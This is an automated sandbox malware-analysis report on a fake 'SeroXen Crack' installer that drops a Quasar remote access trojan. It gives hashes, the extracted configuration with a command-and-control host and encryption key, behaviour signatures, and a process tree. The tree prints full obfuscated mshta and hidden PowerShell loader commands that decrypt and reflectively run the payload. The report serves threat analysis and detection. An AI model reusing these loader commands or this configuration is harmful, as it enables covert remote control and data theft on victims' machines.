Resubmissions

28-11-2024 05:26

241128-f5dh3stlbl 10

28-11-2024 05:24

241128-f317cstkfp 10

27-09-2024 19:50

240927-ykppqayfma 10

20-08-2024 17:46

240820-wcsqasyhjm 10

11-12-2023 06:01

231211-gq31vsgbh3 10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-11-2024 05:26

General

  • Target

    SeroXen Crack/SeroXen-install.bat

  • Size

    12.6MB

  • MD5

    898f49c739026123b6a3811fa31abe70

  • SHA1

    31ff6036b40d70d21cb1c4c0163cba0d4c720551

  • SHA256

    78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f

  • SHA512

    a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d

  • SSDEEP

    49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | SeroXen

C2

kimsoylak.ddns.net:4782

Mutex

2cc9d61f-950d-4f23-b7d5-45d9dda2f256

Attributes
  • encryption_key

    F467D794B2E1081B6AD1EAD5813AFA74F053248D

  • install_name

    .exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    1

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 18 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 9 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:648
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:440
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{3b5a9b4b-ac00-4a4b-937b-f96ac3016fde}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:548
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{7d8b4620-7a74-42ef-a239-b1ddb0644729}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1460
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{68364ff6-2fe6-4f3a-be01-75485ae3f3fd}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4640
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{4ef729bb-4833-4536-a226-c7970b21a1b0}
          2⤵
            PID:1584
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{ef6161da-3598-411b-811d-26b1d9b94b1b}
            2⤵
              PID:2028
            • C:\Windows\System32\dllhost.exe
              C:\Windows\System32\dllhost.exe /Processid:{3d0777b7-91bf-4606-918e-bd491fc0599c}
              2⤵
                PID:5852
              • C:\Windows\System32\dllhost.exe
                C:\Windows\System32\dllhost.exe /Processid:{df9ed2cb-90cb-4176-8578-1cd1e4a9f65d}
                2⤵
                  PID:2920
                • C:\Windows\System32\dllhost.exe
                  C:\Windows\System32\dllhost.exe /Processid:{368e077b-c91a-47d9-ac75-5b9eb02368a8}
                  2⤵
                    PID:1012
                  • C:\Windows\System32\dllhost.exe
                    C:\Windows\System32\dllhost.exe /Processid:{6b13a7b1-e031-462d-b168-cf015b2384c7}
                    2⤵
                      PID:6000
                  • C:\Windows\system32\lsass.exe
                    C:\Windows\system32\lsass.exe
                    1⤵
                      PID:704
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                      1⤵
                        PID:988
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                        1⤵
                          PID:728
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                          1⤵
                            PID:1040
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                            1⤵
                              PID:1084
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                              1⤵
                                PID:1100
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                1⤵
                                  PID:1184
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                  1⤵
                                    PID:1228
                                    • C:\Windows\$sxr-mshta.exe
                                      C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                                      2⤵
                                      • Executes dropped EXE
                                      • Modifies registry class
                                      • Suspicious use of WriteProcessMemory
                                      PID:1336
                                      • C:\Windows\$sxr-cmd.exe
                                        "C:\Windows\$sxr-cmd.exe" /c %$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%
                                        3⤵
                                        • Executes dropped EXE
                                        • Suspicious use of WriteProcessMemory
                                        PID:3252
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          4⤵
                                            PID:3296
                                          • C:\Windows\$sxr-powershell.exe
                                            C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
                                            4⤵
                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                            • Executes dropped EXE
                                            • Hide Artifacts: Hidden Window
                                            • Suspicious use of SetThreadContext
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of SetWindowsHookEx
                                            • Suspicious use of WriteProcessMemory
                                            PID:3624
                                            • C:\Windows\SysWOW64\dllhost.exe
                                              C:\Windows\SysWOW64\dllhost.exe /Processid:{453b960c-ba61-4832-8d57-c51595565850}
                                              5⤵
                                                PID:1584
                                              • C:\Windows\SysWOW64\dllhost.exe
                                                C:\Windows\SysWOW64\dllhost.exe /Processid:{5783c39f-0ab8-4597-9d32-52342f2ae9fd}
                                                5⤵
                                                  PID:4812
                                                • C:\Windows\SysWOW64\dllhost.exe
                                                  C:\Windows\SysWOW64\dllhost.exe /Processid:{81d14566-fc5f-4063-9ea4-9090c7703d90}
                                                  5⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1920
                                                • C:\Windows\$sxr-powershell.exe
                                                  "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3624).WaitForExit();[System.Threading.Thread]::Sleep(5000); function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Hide Artifacts: Hidden Window
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3116
                                                • C:\Windows\SysWOW64\dllhost.exe
                                                  C:\Windows\SysWOW64\dllhost.exe /Processid:{6e5bb706-10db-4181-bcf3-6c238d70729b}
                                                  5⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3648
                                                • C:\Windows\SysWOW64\dllhost.exe
                                                  C:\Windows\SysWOW64\dllhost.exe /Processid:{47c15224-03d0-4c53-8cfc-7bf286b3aa8c}
                                                  5⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5744
                                                • C:\Windows\SysWOW64\dllhost.exe
                                                  C:\Windows\SysWOW64\dllhost.exe /Processid:{e532c920-714c-4365-8d15-57ae2a7c460b}
                                                  5⤵
                                                    PID:240
                                                  • C:\Windows\SysWOW64\dllhost.exe
                                                    C:\Windows\SysWOW64\dllhost.exe /Processid:{ec79c720-846a-4557-a622-8bc82d3b8d27}
                                                    5⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5020
